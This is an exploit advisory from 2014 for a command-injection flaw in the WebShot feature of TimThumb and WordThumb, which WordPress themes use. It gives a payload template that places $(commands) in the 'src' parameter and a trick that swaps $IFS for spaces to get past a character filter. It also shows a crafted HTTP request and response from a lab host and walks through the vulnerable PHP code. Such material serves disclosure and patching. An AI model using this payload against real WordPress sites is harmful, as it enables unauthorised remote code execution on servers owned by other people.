201 lines
7.1 KiB
Text
Executable file
201 lines
7.1 KiB
Text
Executable file
######################################################################
|
||
# _ ___ _ _ ____ ____ _ _____
|
||
# | | / _ \| \ | |/ ___|/ ___| / \|_ _|
|
||
# | | | | | | \| | | _| | / _ \ | |
|
||
# | |__| |_| | |\ | |_| | |___ / ___ \| |
|
||
# |_____\___/|_| \_|\____|\____/_/ \_\_|
|
||
#
|
||
# Wordpress TimThumb 2.8.13 WebShot Remote Code Execution (0-day)
|
||
# Affected website : a lot Wordpress Themes, Plugins, 3rd party components
|
||
# Exploit Author : @u0x (Pichaya Morimoto)
|
||
# Release dates : June 24, 2014
|
||
#
|
||
# Special Thanks to 2600 Thailand group
|
||
# : Xelenonz, anidear, windows98se, icheernoom, w4x0r, pistachio
|
||
# https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/
|
||
#
|
||
########################################################################
|
||
|
||
[+] Description
|
||
============================================================
|
||
TimThumb is a small php script for cropping, zooming and resizing web
|
||
images (jpg, png, gif). Perfect for use on blogs and other applications.
|
||
Developed for use in the WordPress theme Mimbo Pro, and since used in many
|
||
other WordPress themes.
|
||
|
||
http://www.binarymoon.co.uk/projects/timthumb/
|
||
https://code.google.com/p/timthumb/
|
||
|
||
The original project WordThumb 1.07 also vulnerable (
|
||
https://code.google.com/p/wordthumb/)
|
||
They both shared exactly the same WebShot code! And there are several
|
||
projects that shipped with "timthumb.php", such as,
|
||
Wordpress Gallery Plugin
|
||
https://wordpress.org/plugins/wordpress-gallery-plugin/
|
||
IGIT Posts Slider Widget
|
||
http://wordpress.org/plugins/igit-posts-slider-widget/
|
||
|
||
All themes from http://themify.me/ contains vulnerable "wordthumb" in
|
||
"<theme-name>/themify/img.php".
|
||
|
||
[+] Exploit
|
||
============================================================
|
||
http://
|
||
<wp-website>/wp-content/themes/<wp-theme>/path/to/timthumb.php?webshot=1&src=http://
|
||
<wp-website>$(<os-cmds>)
|
||
|
||
** Note that OS commands payload MUST be within following character sets:
|
||
[A-Za-z0-9\-\.\_\~:\/\?\#\[\]\@\!\$\&\'\(\)\*\+\,\;\=]
|
||
|
||
** Spaces, Pipe, GT sign are not allowed.
|
||
** This WebShot feature is DISABLED by default.
|
||
** CutyCapt and XVFB must be installed in constants.
|
||
|
||
[+] Proof-of-Concept
|
||
============================================================
|
||
There are couple techniques that can be used to bypass limited charsets but
|
||
I will use a shell variable $IFS insteads of space in this scenario.
|
||
|
||
PoC Environment:
|
||
Ubuntu 14.04 LTS
|
||
PHP 5.5.9
|
||
Wordpress 3.9.1
|
||
Themify Parallax Theme 1.5.2
|
||
WordThumb 1.07
|
||
|
||
Crafted Exploit:
|
||
http://loncatlab.local/wp-content/themes/parallax/themify/img.php?webshot=1&src=http://loncatlab.local/$(touch$IFS/tmp/longcat)
|
||
|
||
GET /wp-content/themes/parallax/themify/img.php?webshot=1&src=
|
||
http://longcatlab.local/$(touch$IFS/tmp/longcat) HTTP/1.1
|
||
Host: longcatlab.local
|
||
Proxy-Connection: keep-alive
|
||
Cache-Control: max-age=0
|
||
Accept:
|
||
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
|
||
Gecko) Chrome/35.0.1916.153 Safari/537.36
|
||
Accept-Encoding: gzip,deflate,sdch
|
||
Accept-Language: en-US,en;q=0.8
|
||
Cookie: woocommerce_recently_viewed=9%7C12%7C16;
|
||
wp-settings-1=libraryContent%3Dbrowse%26editor%3Dtinymce;
|
||
wp-settings-time-1=1403504538; themify-builder-tabs=query-portfoliot;
|
||
wordpress_test_cookie=WP+Cookie+check;
|
||
wordpress_logged_in_26775808be2a17b15cf43dfee3a681c9=moderator%7C1403747599%7C62244ce3918e23df1bd22450b3d78685
|
||
|
||
HTTP/1.1 400 Bad Request
|
||
Date: Tue, 24 Jun 2014 07:20:48 GMT
|
||
Server: Apache
|
||
X-Powered-By: PHP/5.5.9-1ubuntu4
|
||
X-Content-Type-Options: nosniff
|
||
X-Frame-Options: sameorigin
|
||
Content-Length: 3059
|
||
Connection: close
|
||
Content-Type: text/html
|
||
|
||
<EFBFBD>
|
||
<a href='http://www.php.net/function.getimagesize'
|
||
target='_new'>getimagesize</a>
|
||
( )</td><td
|
||
title='/var/www/longcatlab.local/public_html/wp-content/themes/parallax/themify/img.php'
|
||
bgcolor='#eeeeec'>../img.php<b>:</b>388</td></tr>
|
||
</table></font>
|
||
<h1>A WordThumb error has occured</h1>The following error(s) occured:<br
|
||
/><ul><li>The image being resized is not a valid gif, jpg or
|
||
png.</li></ul><br /><br />Query String : webshot=1&src=
|
||
http://longcatlab.local/$(touch$IFS/tmp/longcat)<br />WordThumb version :
|
||
1.07</pre>
|
||
|
||
Even it response with error messages but injected OS command has already
|
||
been executed.
|
||
|
||
$ ls /tmp/longcat -lha
|
||
- -rw-r--r-- 1 www-data www-data 0 ??.?. 24 14:20 /tmp/longcat
|
||
|
||
|
||
[+] Vulnerability Analysis
|
||
============================================================
|
||
https://timthumb.googlecode.com/svn/trunk/timthumb.php
|
||
|
||
Filename: timthumb.php
|
||
|
||
if(! defined('WEBSHOT_ENABLED') ) define ('WEBSHOT_ENABLED', true);
|
||
if(! defined('WEBSHOT_CUTYCAPT') ) define ('WEBSHOT_CUTYCAPT',
|
||
'/usr/local/bin/CutyCapt');
|
||
if(! defined('WEBSHOT_XVFB') ) define ('WEBSHOT_XVFB', '/usr/bin/xvfb-run');
|
||
...
|
||
timthumb::start(); ? start script
|
||
...
|
||
public static function start(){
|
||
$tim = new timthumb(); ? create timthumb object, call __construct()
|
||
...
|
||
$tim->run();
|
||
...
|
||
public function __construct(){
|
||
...
|
||
$this->src = $this->param('src'); ? set "src" variable to HTTP GET "src"
|
||
parameter
|
||
<EFBFBD>
|
||
if(preg_match('/^https?:\/\/[^\/]+/i', $this->src)){
|
||
...
|
||
$this->isURL = true; ? prefix http/s result in isURL = true
|
||
}
|
||
...
|
||
|
||
protected function param($property, $default = ''){
|
||
if (isset ($_GET[$property])) {
|
||
return $_GET[$property];
|
||
...
|
||
|
||
public function run(){
|
||
if($this->isURL){
|
||
...
|
||
if($this->param('webshot')){ ? HTTP GET "webshot" must submitted
|
||
if(WEBSHOT_ENABLED){ ? this pre-defined constant must be true
|
||
...
|
||
$this->serveWebshot(); ? call webshot feature
|
||
} else {
|
||
...
|
||
|
||
protected function serveWebshot(){
|
||
...
|
||
if(! is_file(WEBSHOT_CUTYCAPT)){ ? check existing of cutycapt
|
||
return $this->error("CutyCapt is not installed. $instr");
|
||
}
|
||
if(! is_file(WEBSHOT_XVFB)){ ? check existing of xvfb
|
||
return $this->Error("Xvfb is not installed. $instr");
|
||
}
|
||
...
|
||
$url = $this->src;
|
||
if(! preg_match('/^https?:\/\/[a-zA-Z0-9\.\-]+/i', $url)){ ? check valid
|
||
URL #LoL
|
||
return $this->error("Invalid URL supplied.");
|
||
}
|
||
$url =
|
||
preg_replace('/[^A-Za-z0-9\-\.\_\~:\/\?\#\[\]\@\!\$\&\'\(\)\*\+\,\;\=]+/',
|
||
'', $url); ? check valid URL as specified in RFC 3986
|
||
http://www.ietf.org/rfc/rfc3986.txt
|
||
...
|
||
if(WEBSHOT_XVFB_RUNNING){
|
||
putenv('DISPLAY=:100.0');
|
||
$command = "$cuty $proxy --max-wait=$timeout --user-agent=\"$ua\"
|
||
--javascript=$jsOn --java=$javaOn --plugins=$pluginsOn
|
||
--js-can-open-windows=off --url=\"$url\" --out-format=$format
|
||
--out=$tempfile"; ? OS shell command injection
|
||
} else {
|
||
$command = "$xv --server-args=\"-screen 0,
|
||
{$screenX}x{$screenY}x{$colDepth}\" $cuty $proxy --max-wait=$timeout
|
||
--user-agent=\"$ua\" --javascript=$jsOn --java=$javaOn --plugins=$pluginsOn
|
||
--js-can-open-windows=off --url=\"$url\" --out-format=$format
|
||
--out=$tempfile"; ? OS shell command injection
|
||
}
|
||
...
|
||
$out = `$command`; ? execute $command as shell command
|
||
|
||
"PHP supports one execution operator: backticks (``). Note that these are
|
||
not single-quotes! PHP will attempt to execute the contents of the
|
||
backticks as a shell command." -
|
||
http://www.php.net//manual/en/language.operators.execution.php
|
||
|
||
"$url" is failed to escape "$()" in "$command" which is result in arbitrary
|
||
code execution.
|